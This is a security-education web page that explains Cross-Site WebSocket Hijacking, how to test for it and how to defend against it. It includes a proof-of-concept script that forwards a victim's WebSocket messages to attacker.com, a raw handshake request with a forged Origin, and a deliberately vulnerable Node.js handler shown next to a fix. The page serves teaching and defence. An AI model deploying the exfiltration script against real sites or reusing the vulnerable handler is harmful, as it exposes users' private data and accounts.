Security Resources

⌘K
  1. Home
  2. Security Resources
  3. Vulnerability Explain
  4. Cross-Site WebSocket Hijacking (CSWSH)

Cross-Site WebSocket Hijacking (CSWSH)

Welcome to another Vulnerability Explain breakdown. Today we examine Cross-Site WebSocket Hijacking (CSWSH), a client-side vulnerability where a malicious website establishes an unauthorized, authenticated WebSocket connection to a target application on behalf of a victim. Because the WebSocket handshake is an HTTP request that does not enforce the browser's Same-Origin Policy (SOP), applications that rely purely on ambient cookies without origin verification allow attackers to intercept real-time communications and inject malicious commands. Let's break down how CSWSH works and how to mitigate it.

What is CSWSH?

WebSockets provide full-duplex, persistent communication channels between browsers and servers, commonly used for financial platforms, real-time messaging, crypto exchanges, and administrative telemetry.

To establish a WebSocket connection, the browser issues an initial HTTP Upgrade request (GET /ws with Upgrade: websocket). Like standard HTTP requests, the browser automatically attaches cookies belonging to the target domain. However, the Same-Origin Policy does NOT restrict WebSocket connections; scripts from any origin can initiate a WebSocket handshake to any server. If the server validates cookies but ignores the Origin header, an attacker can hijack the connection.

How does CSWSH work?

CSWSH attacks leverage the unrestricted nature of WebSocket handshakes:

  • Victim Session Established
    • The victim logs into target.com and receives an authenticated session cookie.
  • Visiting Attacker Website
    • The victim is lured to visit an attacker-controlled website (attacker.com) hosting malicious JavaScript.
  • Initiating Cross-Origin Handshake
    • The attacker's JavaScript creates a new WebSocket connection to wss://target.com/ws. The browser sends the HTTP Upgrade request with the victim's session cookies and an Origin: https://attacker.com header.
  • Server Grants Connection
    • The server validates the victim's session cookie but fails to verify the Origin header, upgrading the socket.
  • Full-Duplex Data Exfiltration and Control
    • The attacker's script receives all messages transmitted over the socket (e.g., chat logs, account balances, private notifications) and sends arbitrary commands with the victim's authority.

Unlike standard CSRF which is typically blind (one-way write), CSWSH provides a bidirectional communication pipe. Attackers can both read confidential server transmissions and send arbitrary state-changing messages.

Tools and Techniques for CSWSH Testing

Testing for CSWSH requires intercepting WebSocket handshakes and verifying origin validation.

Manual Testing Methodologies

  • Inspect WebSocket Handshake in DevTools - Identify endpoints initiating Upgrade: websocket and note the authentication mechanism (cookies vs bearer tokens).
  • Tamper with the Origin Header - In Burp Repeater or proxy tools, modify the Origin header to https://evil.com or null and verify if the server returns HTTP 101 Switching Protocols.
  • Build Standalone HTML PoC - Create an HTML page containing JavaScript that connects to the WebSocket URL and logs received messages to an external endpoint.
  • Test Token Handshake Binding - Check whether anti-CSRF or one-time tickets are required in query parameters or subprotocols during connection setup.

Automated Scanning Tools

  • Burp Suite Professional - Inspects WebSocket handshakes and flags missing origin validation.
  • WS-Attacker - Framework for testing WebSocket libraries for security weaknesses and specification compliance.
  • Nuclei - Templates for detecting unauthenticated and origin-permissive WebSocket endpoints.
  • OWASP ZAP - Includes real-time WebSocket message inspection and fuzzing.

CSWSH Protection Mechanisms

Best Practices for Secure Coding

  • Strict Server-Side Origin Verification
    • Description: Validate the HTTP Origin header against an explicit, strict whitelist during the handshake.
    • Benefits: Prevents unauthorized cross-origin web pages from completing the WebSocket upgrade.
    • Implementation Tip: If the Origin header does not match your trusted domains, reject the handshake immediately with HTTP 403 Forbidden.
  • One-Time Handshake Tickets
    • Description: Require a short-lived, single-use cryptographically random ticket generated via an authenticated HTTP API.
    • Benefits: Third-party origins cannot obtain the ticket due to Same-Origin Policy protections on HTTP APIs.
    • Implementation Tip: Pass the ticket via the Sec-WebSocket-Protocol header or query string and invalidate it immediately upon connection.
  • Strict SameSite Cookie Configuration
    • Description: Set SameSite=Strict or SameSite=Lax on authentication cookies.
    • Benefits: Prevents browsers from attaching cookies to cross-site WebSocket handshake requests.
    • Implementation Tip: Use SameSite=Strict for applications providing real-time data streaming.

Best Practices for Organizations

  • Standardize WebSocket Gateways
    • Route all WebSocket connections through an API gateway or reverse proxy that enforces uniform Origin header validation.
    • Audit all microservices implementing WebSocket listeners.
  • Monitor Abnormal Origin Handshakes
    • Log and alert on WebSocket connection attempts originating from untrusted or unexpected domains.
    • Enforce rate limits on connection establishment.
  • Security Training on Non-SOP Protocols
    • Educate development teams that the browser Same-Origin Policy does not inherently protect WebSockets, WebRTC, or EventSource.
    • Mandate security code reviews on all real-time communication modules.

Top CSWSH payloads used by Security Researchers

As a security researcher, knowing the most common payloads helps you detect and prevent these attacks. Use this knowledge ethically and only on systems you are authorized to test. Some sample payloads are shown below.

<!-- CSWSH Exploit PoC: Stealing real-time messages -->
<script>
  const ws = new WebSocket('wss://target.com/api/v1/stream');
  ws.onopen = function() {
    ws.send(JSON.stringify({ action: 'get_account_balance' }));
  };
  ws.onmessage = function(event) {
    fetch('https://attacker.com/steal?data=' + encodeURIComponent(event.data));
  };
</script>
// Raw HTTP Handshake with tampered Origin header
GET /chat/ws HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://attacker.com
Cookie: session_id=victim_active_session_cookie

Real-World Example: Stealing Live Financial Trades via CSWSH

A cryptocurrency trading platform offered a live trading dashboard that updated user balances, open orders, and private messages over WebSockets (wss://exchange.com/live). The application authenticated connections solely via an HTTP session cookie.

A penetration tester discovered that the backend WebSocket handler never inspected the Origin header during the handshake. The tester authored an exploit webpage that connected to the socket, requested private portfolio details, and forwarded the incoming JSON data to an attacker-controlled logging server.

When an authenticated trader visited the exploit page, the trader's browser connected to exchange.com with active session cookies, allowing the tester to exfiltrate private trade orders and execute market sell orders in real time.

Vulnerable and secure code of CSWSH

The following example shows the contrast between vulnerable and secure code for CSWSH. It helps you see how the flaw creeps into real code and the changes that shut it down.

🥺 Vulnerable Code:

// Vulnerable: Node.js WebSocket server accepts handshakes without Origin validation
const http = require('http');
const WebSocket = require('ws');

const server = http.createServer();
const wss = new WebSocket.Server({ noServer: true });

server.on('upgrade', (request, socket, head) => {
    // Vulnerable: Validates cookie session but never inspects request.headers.origin
    const cookie = request.headers.cookie;
    if (!isValidSession(cookie)) {
        socket.write('HTTP/1.1 401 Unauthorized\r\n\r\n');
        socket.destroy();
        return;
    }
    
    // Handshake completes regardless of origin
    wss.handleUpgrade(request, socket, head, (ws) => {
        wss.emit('connection', ws, request);
    });
});
  • The upgrade handler checks cookie authentication but completely ignores the Origin header.
  • Any external website can establish a WebSocket connection and hijack real-time data.
  • Enables full bidirectional session hijacking across origins.

😎 Secure Code:

// Secure: Enforces strict Origin whitelisting and one-time handshake ticket
const http = require('http');
const WebSocket = require('ws');

const server = http.createServer();
const wss = new WebSocket.Server({ noServer: true });

const ALLOWED_ORIGINS = new Set(['https://target.com', 'https://app.target.com']);

server.on('upgrade', (request, socket, head) => {
    const origin = request.headers.origin;
    
    // 1. Strict Origin verification
    if (!origin || !ALLOWED_ORIGINS.has(origin)) {
        socket.write('HTTP/1.1 403 Forbidden\r\n\r\n');
        socket.destroy();
        return;
    }
    
    // 2. Validate one-time ticket passed via query string instead of relying purely on cookies
    const url = new URL(request.url, `http://${request.headers.host}`);
    const ticket = url.searchParams.get('ticket');
    
    if (!validateAndConsumeTicket(ticket)) {
        socket.write('HTTP/1.1 401 Unauthorized\r\n\r\n');
        socket.destroy();
        return;
    }
    
    wss.handleUpgrade(request, socket, head, (ws) => {
        wss.emit('connection', ws, request);
    });
});
  • The server rejects any handshake whose Origin header is absent or does not match the strict whitelist.
  • A short-lived, single-use ticket generated over an SOP-protected HTTP API is required to establish the socket.
  • Unauthorized cross-origin websites cannot initiate or hijack the WebSocket connection.

Conclusion

Cross-Site WebSocket Hijacking exposes modern applications to bidirectional session hijacking because browsers do not apply the Same-Origin Policy to WebSocket handshakes. Defending against CSWSH requires rigorous server-side Origin header validation, the implementation of one-time handshake tickets, and the enforcement of strict SameSite cookie policies across all session cookies.